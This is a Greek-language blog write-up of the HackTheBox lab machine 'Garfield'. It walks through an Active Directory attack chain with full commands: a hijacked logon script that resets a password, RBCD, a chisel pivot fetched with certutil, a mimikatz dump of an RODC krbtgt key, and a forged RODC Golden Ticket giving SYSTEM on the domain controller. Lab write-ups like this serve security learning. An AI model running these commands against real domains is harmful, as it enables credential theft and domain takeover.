Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Garfield

HackTheBoxΤο προφίλ μου στο HTB & περισσότερα boxes ↗ GitHubΕργαλεία security & automation ανοιχτού κώδικα ↗

Το Garfield είναι ένα Δύσκολο box Windows χτισμένο γύρω από έναν πρωτεύοντα Domain Controller (DC01) και έναν Read-Only Domain Controller (RODC01) σε ένα κρυμμένο εσωτερικό segment. Ξεκινάς με έναν απλό χρήστη domain, και το BloodHound λέει κατηγορηματικά ότι εκείνος ο χρήστης δεν ελέγχει τίποτα — κανένα μονοπάτι προς Domain Admin. Το μονοπάτι είναι πραγματικό· το εργαλείο απλά δεν μπορεί να το δει. Ένα μοναδικό ACE επιπέδου-attribute δίνει write σε μία property — το scriptPath — σε δύο privileged χρήστες, που το BloodHound (μόνο επιπέδου-αντικειμένου) ποτέ δεν αναδεικνύει. Εκείνο το ένα write καταλαμβάνει ένα NTFS-εγγράψιμο logon script SYSVOL για να πυροδοτήσει ένα reset ForceChangePassword, που αλυσιδώνεται μέσω ενός AddSelf μέσα σε RODC Administrators. Από εκεί είναι RBCD + ένα pivot σε SYSTEM στον read-only DC, κάνοντας dump το αφιερωμένο κλειδί krbtgt_8245 του. Το "read-only" αποδεικνύεται ψέμα: αφού ξαναγράψει το Password Replication Policy του RODC, εκείνο το κλειδί πλαστογραφεί ένα RODC Golden Ticket (Rubeus 2.3.3) που ο εγγράψιμος DC δέχεται ευχαρίστως — Domain Admin. Όλο αυτό οδηγείται από macOS, που μετέτρεψε την τελευταία φάση σε έναν δεύτερο, πιο ήσυχο καβγά ενάντια στο δικό μου toolchain.
domain user → scriptPath write (BloodHound-blind) → SYSVOL logon-script → ForceChangePassword → AddSelf → RODC Administrators → RBCD + chisel → SYSTEM on RODC → krbtgt_8245 + PRP rewrite → RODC Golden Ticket → DA

Αναγνώριση

Μια πλήρης σάρωση επιστρέφει το συνηθισμένο περίγραμμα Domain Controller — DNS, Kerberos, LDAP, SMB, RPC, WinRM. Το πιστοποιητικό RDP και το banner SMB ονομάζουν τον host και το domain.

nmap — the DC fingerprint
$ nmap -Pn -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 <DC> 88/tcp open kerberos-sec Microsoft Windows Kerberos 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server # cert CN = DC01.garfield.htb 5985/tcp open http Microsoft HTTPAPI 2.0 # WinRM | smb2-security-mode: Message signing enabled and required # no SMB relay

Δύο γεγονότα να καταγράψω: το SMB signing απαιτείται (σκοτώνει το SMB relay), και το box είναι ένας DC Windows Server 2019 ονομασμένος DC01.garfield.htb. Το ρολόι είναι επίσης ~8 ώρες μπροστά μου — άσχετο τώρα, ένας επαναλαμβανόμενος πονοκέφαλος αργότερα για κάθε βήμα Kerberos από macOS.

Καταμέτρηση — μια έγκυρη κάρτα, μηδέν πόρτες

Αυτό είναι ένα box assume-breach: σου δίνουν j.arbuckle : <assigned-pass>. Τα credentials δουλεύουν, αλλά ο λογαριασμός δεν είναι τίποτα ιδιαίτερο — χωρίς Pwn3d!, στάνταρ shares, read-only στο SYSVOL/NETLOGON.

confirm creds + enumerate
$ nxc smb <DC> -u j.arbuckle -p '<assigned-pass>' SMB <DC> 445 DC01 [+] garfield.htb\j.arbuckle:<assigned-pass> $ nxc smb <DC> -u j.arbuckle -p '...' --users | awk '{print $NF}' Administrator Guest krbtgt krbtgt_8245 j.arbuckle l.wilson l.wilson_adm

Η λίστα χρηστών λέει μια ιστορία. Οι l.wilson και l.wilson_adm είναι κλασικό admin tiering — ένα άτομο και το privileged δίδυμό του. Και το krbtgt_8245 δεν είναι καθόλου πρόσωπο: είναι ο αφιερωμένος λογαριασμός κλειδιού KDC για έναν Read-Only Domain Controller. Υπάρχει ένας δεύτερος DC κρυμμένος κάπου, με το δικό του υλικό κλειδιού Kerberos. Κατάγραψε και αυτό.

Το SYSVOL, read-only, κρατά ένα μη-default artifact — ένα logon script στον φάκελο scripts:

SYSVOL — a script in plain sight
$ smbclient //<DC>/SYSVOL -U 'garfield.htb\j.arbuckle%...' -c 'ls garfield.htb\scripts' printerDetect.bat A 217 ... $ cat printerDetect.bat @echo off wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status

Αθώο από μόνο του — ένα απόθεμα εκτυπωτή. Αυτό που έχει σημασία δεν είναι το περιεχόμενο του script· είναι ποιος μπορεί να αλλάξει σε τι δείχνει. Κράτα αυτή τη σκέψη.

Το εργαλείο που είπε ψέματα με παράλειψη

Το BloodHound είναι το αντανακλαστικό εδώ, οπότε συνέλεξα και έκανα import. Ο κόμβος j.arbuckle ήταν ένα φάντασμα με έγκυρη κάρτα: μέλος των Users, Domain Users, IT Support — και Outbound Object Control: 0. Χωρίς GenericAll, χωρίς GenericWrite, χωρίς ForceChangePassword. Το "Shortest path to Domain Admins" επέστρεψε Path not found.

Έκαψα πραγματικό χρόνο στα κλασικά πριν αμφισβητήσω τον χάρτη:

Κάθε στάνταρ τεχνική συμφωνούσε: αυτός ο χρήστης είναι ανίσχυρος. Αλλά ένα Δύσκολο box δεν σου δίνει credentials και δεν αφήνει κανέναν δρόμο. Η σωστή ερώτηση δεν ήταν "τι άλλο μπορώ να δοκιμάσω;" — ήταν "τι δεν μου δείχνει το BloodHound;"

Το BloodHound (Legacy και CE) κάνει καταμέτρηση ACLs στο επίπεδο αντικειμένου — πιάνει GenericAll, GenericWrite, WriteDACL, WriteOwner. Αλλά τα δικαιώματα AD είναι πολύ πιο κοκκώδη: μπορείς να δώσεις write σε ένα μοναδικό attribute, και εκτός αν ένα εργαλείο κάνει query DACLs επιπέδου-attribute, εκείνο το δικαίωμα είναι αόρατο.

bloodyAD — διαβάζοντας τα ψιλά γράμματα

Το bloodyAD ελέγχει δικαιώματα write ανά-attribute — ακριβώς τα ψιλά γράμματα που παραλείπει το BloodHound. Το get writable του εξερράγη στο terminal με τον συνηθισμένο θόρυβο self-service (τηλέφωνα, ταχυδρομικές διευθύνσεις, attributes cloud-extension που κάθε χρήστης μπορεί να επεξεργαστεί στον εαυτό του). Θαμμένο μέσα, σε αντικείμενα που δεν ήταν δικά μου να αγγίξω, ένα attribute ξεχώρισε:

the edge BloodHound couldn't see
$ bloodyAD --host <DC> -d garfield.htb -u j.arbuckle -p '...' get writable --detail distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb scriptPath: WRITE distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb scriptPath: WRITE

Ο j.arbuckle μπορεί να γράψει το attribute scriptPath και στον l.wilson και στον l.wilson_adm. Το scriptPath είναι το logon script που τρέχει κάθε φορά που εκείνος ο χρήστης κάνει sign in. Όχι GenericWrite, όχι ένα password reset — ένα attribute. Και ήταν αρκετό για να ξεφτίσει το domain.

Οπλοποιώντας το SYSVOL — το logon script

Το σχέδιο: δείξε το scriptPath του l.wilson σε ένα script που ελέγχω, περίμενε το box να προσομοιώσει το logon εκείνου του χρήστη, και τρέξε κώδικα σαν l.wilson. Δύο πράγματα έπρεπε να είναι αληθινά. Πρώτο, χρειαζόμουν να γράψω ένα script στον φάκελο scripts του netlogon — και το --shares έλεγε READ. Αλλά τα δικαιώματα επιπέδου-share και επιπέδου-NTFS είναι διαφορετικά πράγματα, και δεν δοκίμασα ποτέ το ACL του NTFS. Ήταν εγγράψιμο όλη την ώρα:

SYSVOL scripts is NTFS-writable
$ smbclient //<DC>/SYSVOL -U 'garfield.htb\j.arbuckle%...' -c 'cd garfield.htb\scripts; put x.bat' putting file x.bat as \garfield.htb\scripts\x.bat

Δεύτερο — και αυτό είναι το κομμάτι που μου αρέσει — δεν χρειάστηκα ποτέ ένα reverse shell. Ένα ζωντανό callback είναι το πιο θορυβώδες πράγμα που μπορείς να κάνεις, και είναι περιττό εδώ. Το logon script τρέχει σαν l.wilson, και ο l.wilson κρατά ForceChangePassword πάνω στον l.wilson_adm (μια ακμή που εμφανίζεται μόνο αφού λειτουργείς σαν εκείνον). Οπότε το ίδιο το script κάνει κατάχρηση εκείνου του δικαιώματος: κάνει reset το password του admin διδύμου σε κάτι που ξέρω, in-process, request/response, τίποτα να πιάσω.

x.bat — runs as l.wilson at logon
@echo off powershell -nop -w hidden -c "$p=ConvertTo-SecureString '<NewAdminPass>' -AsPlainText -Force; ` Set-ADAccountPassword -Identity l.wilson_adm -Reset -NewPassword $p"
set scriptPath, wait for the logon
$ bloodyAD --host <DC> -d garfield.htb -u j.arbuckle -p '...' set object l.wilson scriptPath -v 'x.bat' [+] l.wilson's scriptPath has been updated $ # ~30s later — the reset landed $ nxc smb <DC> -u l.wilson_adm -p '<NewAdminPass>' SMB <DC> 445 DC01 [+] garfield.htb\l.wilson_adm:<NewAdminPass>

Από ένα μοναδικό attribute write σε έναν ελεγχόμενο privileged λογαριασμό. Το WinRM σαν l.wilson_adm δίνει το user flag:

user.txt
$ evil-winrm -i <DC> -u l.wilson_adm -p '<NewAdminPass>' *Evil-WinRM* type C:\Users\l.wilson_adm\Desktop\user.txt [redacted — user flag]

Ανεβαίνοντας τη σκάλα RODC

Με τον l.wilson_adm στο χέρι, εμφανίζεται μια νέα ακμή που το graph θα μπορούσε να δει: AddSelf σε μια ομάδα ονομασμένη RODC Administrators. Όχι "πρόσθεσε οποιονδήποτε" — απλά "πρόσθεσε τον εαυτό σου". Μία εντολή:

join the inner circle
$ bloodyAD --host <DC> -d garfield.htb -u l.wilson_adm -p '...' add groupMember 'RODC Administrators' 'l.wilson_adm' [+] l.wilson_adm added to RODC Administrators

Αυτό δίνει διοικητικό έλεγχο πάνω στον RODC01. Αλλά ο RODC01 ζει στο <RODC-IP> — ένα εσωτερικό segment στο οποίο ο host μου δεν έχει route. Ο DC01 μπορεί να το φτάσει· εγώ είμαι απέξω. Τίτλος admin RODC, χωρίς τρόπο να τον χρησιμοποιήσω. Ακόμα.

RBCD — πλαστογραφώντας εμπιστοσύνη

Για να πάρω SYSTEM στον RODC01 χρησιμοποίησα Resource-Based Constrained Delegation: δημιούργησε έναν λογαριασμό machine από το πουθενά, πες στον RODC01 να τον εμπιστευτεί για delegation (έχω write πάνω στο αντικείμενο computer του RODC01 σαν admin του), μετά χρησιμοποίησε εκείνη την εμπιστοσύνη για να κάνεις impersonate τον Administrator.

RBCD onto RODC01
$ addcomputer.py -computer-name 'FAKE01$' -computer-pass 'Passw0rd!123' -dc-ip <DC> 'garfield.htb/l.wilson_adm:...' [*] Successfully added machine account FAKE01$ $ rbcd.py -delegate-from 'FAKE01$' -delegate-to 'RODC01$' -action write -dc-ip <DC> 'garfield.htb/l.wilson_adm:...' [*] Delegation rights modified successfully! $ TZ=UTC faketime "$(date -u -v+8H '+%F %T')" getST.py -spn cifs/RODC01.garfield.htb \ -impersonate Administrator -dc-ip <DC> 'garfield.htb/FAKE01$:Passw0rd!123' [*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

Το getST μιλάει μόνο στο KDC (DC01, προσβάσιμο), οπότε το ticket Administrator-για-cifs/RODC01 βγαίνει χωρίς να αγγίξει το εσωτερικό segment. Εκείνο το wrapper faketime είναι η πρώτη εμφάνιση του clock skew ~8h — κάθε βήμα Kerberos από macOS το παίρνει, χρησιμοποιώντας ένα απόλυτο string ώρας DC (αυτό το build του libfaketime απορρίπτει τη μορφή offset +8h).

chisel — μέσα στο εσωτερικό δίκτυο

Ο DC01 είναι το pivot: ένα πόδι στο δίκτυό μου, ένα στο <internal-net>. Ένας reverse SOCKS proxy μέσα από αυτόν φέρνει τον RODC01 σε εμβέλεια. Το upload του Evil-WinRM είναι διαβόητα flaky, οπότε τράβηξα το binary με certutil:

reverse SOCKS through DC01
$ ./chisel server --reverse -p 8001 # on my host *Evil-WinRM* certutil -urlcache -split -f http://<VPN>:8080/chisel.exe chisel.exe *Evil-WinRM* Start-Process .\chisel.exe -Args 'client','<VPN>:8001','R:socks' -WindowStyle Hidden # SOCKS now live on 127.0.0.1:1080 — RODC01:445 reachable through proxychains

Κάνοντας Dump το krbtgt του RODC — ένας καβγάς με τα δικά μου εργαλεία

Ο στόχος είναι το αφιερωμένο κλειδί KDC του RODC01, krbtgt_8245 — η ωμή ύλη για ένα RODC Golden Ticket. Σε Kali αυτό είναι μία γραμμή. Σε macOS, αυτή η φάση έγινε ένας καβγάς τριών γύρων με το δικό μου toolchain, και αξίζει να το καταγράψω γιατί κάθε γύρος είναι ένα επαναχρησιμοποιήσιμο μάθημα.

Το πρώτο μου ένστικτο ήταν secretsdump -use-vss με το ticket Administrator — snapshot το ntds.dit, κάνε το parse τοπικά. Πέρασε μέσα από SAM και LSA (κάνοντας dump τα κλειδιά machine του RODC01$ και τα cached secrets) και μετά πέθανε, επανειλημμένα, με τρεις διαφορετικούς τρόπους:

three rounds of self-inflicted pain
# Γύρος 1 — impacket στο default python 3.14: KeyError: 'Cryptodome.Cipher.AES' # στο AES_CMAC → SMB3 signing, που απαιτεί αυτός ο DC # Διόρθωση: ξαναεγκατέστησε impacket κάτω από 3.12 → pipx install --python python3.12 impacket # Γύρος 2 — faketime + proxychains χρειάζονται και τα δύο DYLD_INSERT_LIBRARIES: # τα wrappers γράφουν το ένα πάνω στο άλλο, οπότε όρισε ΚΑΙ ΤΑ ΔΥΟ dylibs με το χέρι. Αλλά η προσθήκη # DYLD_FORCE_FLAT_NAMESPACE=1 ξανάσπασε το lazy AES load του Cryptodome → ίδιο KeyError. # Διόρθωση: όρισε και τα δύο libs, ΑΦΑΙΡΕΣΕ τη σημαία flat-namespace. # Γύρος 3 — ακόμα και τότε, το KeyError επανεμφανιζόταν στη μέση transfer σε μακριά signed reads: # μια γνωστή race lazy-import του Cryptodome στο AES_CMAC. Διόρθωση: pre-import + ζέστανε το # cipher μία φορά στο startup ώστε η race να μην τρέξει ποτέ: from Cryptodome.Cipher import AES; _ = AES.new(b'0'*16, AES.MODE_ECB)

Με και τα τρία διορθωμένα, το VSS επιτέλους δούλεψε και άρχισε να τραβάει το ntds.dit — και μετά το flaky tunnel έριξε τη σύνδεση στη μέση του transfer (Bad file descriptor). Το download του ntds.dit ήταν απλά πολύ μεγάλο για ένα link που κατέρρεε κάθε λίγα δευτερόλεπτα. Οπότε σταμάτησα να παλεύω με το μέγεθος transfer και έκανα αυτό που πραγματικά ζητούσε η κατάσταση: τρέξε mimikatz πάνω στον ίδιο τον RODC και τράβηξε μόνο τον έναν λογαριασμό που χρειαζόμουν. Μικροσκοπικό push, μικροσκοπικό output.

mimikatz via smbexec (SMB-only, tunnel-friendly)
$ # push mimikatz to RODC01 over the tunnel (smbclient supports -target-ip) $ proxychains smbclient.py -k -no-pass -target-ip <RODC-IP> \ 'garfield.htb/Administrator@RODC01.garfield.htb' → put mimikatz.exe $ # run it as SYSTEM via smbexec, capturing just krbtgt_8245 $ echo 'C:\Windows\Temp\mimikatz.exe "privilege::debug" \ "lsadump::lsa /inject /name:krbtgt_8245" "exit"' \ | proxychains smbexec.py -k -no-pass -target-ip <RODC-IP> 'garfield.htb/Administrator@RODC01...' Domain : GARFIELD / S-1-5-21-<domain-SID> User : krbtgt_8245 aes256_hmac (4096) : [redacted — RODC krbtgt_8245 AES256 key]

Όλα μέσα από το tunnel χρησιμοποίησαν -target-ip <RODC-IP> για να αποφύγουν name-resolution μέσω SOCKS, ενώ κράτησαν το FQDN στο principal ώστε το SPN Kerberos να ταιριάζει. Να το: το κλειδί AES256, το SID του domain, και — από το msDS-SecondaryKrbTgtNumber του λογαριασμού — ο αριθμός branch RODC 8245. Τρία κομμάτια για να πλαστογραφήσω ένα ticket σαν οποιονδήποτε στο domain.

Το Golden Ticket που δεν ήταν read-only

Ένα RODC Golden Ticket έχει μια παγίδα που δεν έχει ένα κανονικό: το Password Replication Policy. Όταν ο DC01 λαμβάνει ένα TGT υπογεγραμμένο από το krbtgt ενός RODC, ελέγχει αν εκείνος ο χρήστης επιτρέπεται να γίνει cached σε εκείνον τον RODC. Ο Administrator — και κάθε privileged ομάδα — κάθεται στη λίστα deny του RODC by default. Οπότε έπρεπε να ξαναγράψω τους κανόνες. Σαν admin RODC έχω write πάνω στα δύο attributes που είναι η πολιτική: καθάρισε πρώτα τη λίστα deny (το deny πάντα νικά το allow), μετά πρόσθεσε τον Administrator στη λίστα allow:

rewrite the Password Replication Policy on RODC01$
$ bloodyAD ... set object 'RODC01$' msDS-NeverRevealGroup # clear deny (no value) [+] RODC01$'s msDS-NeverRevealGroup has been updated $ bloodyAD ... set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb' [+] RODC01$'s msDS-RevealOnDemandGroup has been updated

Σημείωσε ότι το bloodyAD set αντικαθιστά ολόκληρο το attribute — σε ένα πραγματικό περιβάλλον, το να αντικαταστήσεις τη λίστα allow με μία μόνο καταχώρηση θα έσπαγε τη replication για κάθε νόμιμα cached λογαριασμό. Σε ένα lab είναι εντάξει, αλλά το set είναι σφυρί, όχι νυστέρι.

Τώρα το ticket. Το ticketer του Impacket δεν μπορεί να κωδικοποιήσει τον αριθμό branch RODC μέσα στο KVNO του ticket, οπότε αυτό το βήμα χρειάζεται Rubeus — συγκεκριμένα v2.3.3. Το v2.2.0 έχει ένα bug PAC-signing που παράγει KRB_AP_ERR_BAD_INTEGRITY ακόμα και με τέλειο κλειδί· ίδιο κλειδί, ίδιες παράμετροι, διαφορετική έκδοση εργαλείου, εντελώς διαφορετικό αποτέλεσμα. Το έτρεξα στον DC01 (σωστό ρολόι, απευθείας πρόσβαση KDC):

forge the RODC Golden Ticket + request a TGS for DC01
*Evil-WinRM* .\Rubeus.exe golden /aes256:<aes256-key> /user:Administrator /id:500 ` /domain:garfield.htb /sid:S-1-5-21-<domain-SID> ` /rodcNumber:8245 /groups:520,512,513,519,518 /nowrap [*] Forged a TGT for 'Administrator@garfield.htb' *Evil-WinRM* .\Rubeus.exe asktgs /ticket:<forged-TGT> /service:cifs/DC01.garfield.htb /dc:DC01.garfield.htb /nowrap [+] TGS request successful! ServiceName: cifs/DC01.garfield.htb

Το injection /ptt αποτυγχάνει μέσα στο Evil-WinRM (ένα network logon δεν έχει session να κάνει inject — Error 1312), οπότε το πλαστογράφησα με /nowrap, ζήτησα το TGS με τον ίδιο τρόπο, μετά το μετέτρεψα και το χρησιμοποίησα από τον host μου. Ο DC01 δέχτηκε ένα ticket υπογεγραμμένο από το κλειδί ενός read-only DC, γιατί η πολιτική που υποτίθεται θα το σταματούσε τώρα έλεγε "allow":

root
$ ticketConverter.py dc01_tgs.kirbi dc01_tgs.ccache $ KRB5CCNAME=dc01_tgs.ccache TZ=UTC faketime "$(date -u -v+8H '+%F %T')" \ psexec.py -k -no-pass -target-ip <DC> 'garfield.htb/Administrator@DC01.garfield.htb' C:\Windows\system32> whoami nt authority\system C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt [redacted — root flag]

SYSTEM στον DC01. Από έναν χρήστη domain με μηδέν outbound control στο BloodHound σε πλήρη Domain Admin — μέσα από ένα ACL επιπέδου-attribute, ένα hijack logon-script, μια αλυσίδα password-reset, RBCD, ένα dump credentials RODC, και ένα πλαστογραφημένο Golden Ticket.

Όλη η αλυσίδα, μία οθόνη

recap
# 1. η αόρατη ακμή: write επιπέδου-attribute scriptPath (BloodHound-blind) bloodyAD ... get writable --detail # scriptPath: WRITE on l.wilson / l.wilson_adm # 2. κατάλαβε το NTFS-εγγράψιμο logon script SYSVOL → reset ForceChangePassword smbclient //DC/SYSVOL ... put x.bat ; bloodyAD ... set object l.wilson scriptPath -v x.bat # 3. l.wilson_adm → AddSelf μέσα στο RODC Administrators bloodyAD ... add groupMember 'RODC Administrators' l.wilson_adm # 4. RBCD → ticket Administrator για RODC01· pivot SOCKS chisel στο <RODC-IP> addcomputer.py ... ; rbcd.py ... ; faketime getST.py -spn cifs/RODC01 -impersonate Administrator # 5. mimikatz στον RODC → krbtgt_8245 aes256 + SID + branch 8245 proxychains smbexec.py -k ... 'mimikatz lsadump::lsa /inject /name:krbtgt_8245' # 6. ξαναγράψε το PRP, πλαστογράφησε το RODC Golden Ticket (Rubeus 2.3.3), TGS για DC01, psexec → root bloodyAD ... set msDS-NeverRevealGroup (clear) ; set msDS-RevealOnDemandGroup Administrator Rubeus.exe golden /aes256 /rodcNumber:8245 ... ; asktgs cifs/DC01 ; psexec.py -k → SYSTEM

Μαθήματα

Το Garfield έσπασε σχεδόν κάθε υπόθεση με την οποία μπήκα. Αυτό που μου έμεινε:

Από macOS το box ήταν πραγματικά δύο boxes: η αλυσίδα AD, και ένας πιο ήσυχος καβγάς να κάνω το Kerberos, το SOCKS, και το Cryptodome να συνυπάρξουν κάτω από DYLD_INSERT_LIBRARIES. Άξιζαν και τα δύο.

HackTheBoxΤο προφίλ μου στο HTB & περισσότερα boxes ↗ GitHubΕργαλεία security & automation ανοιχτού κώδικα ↗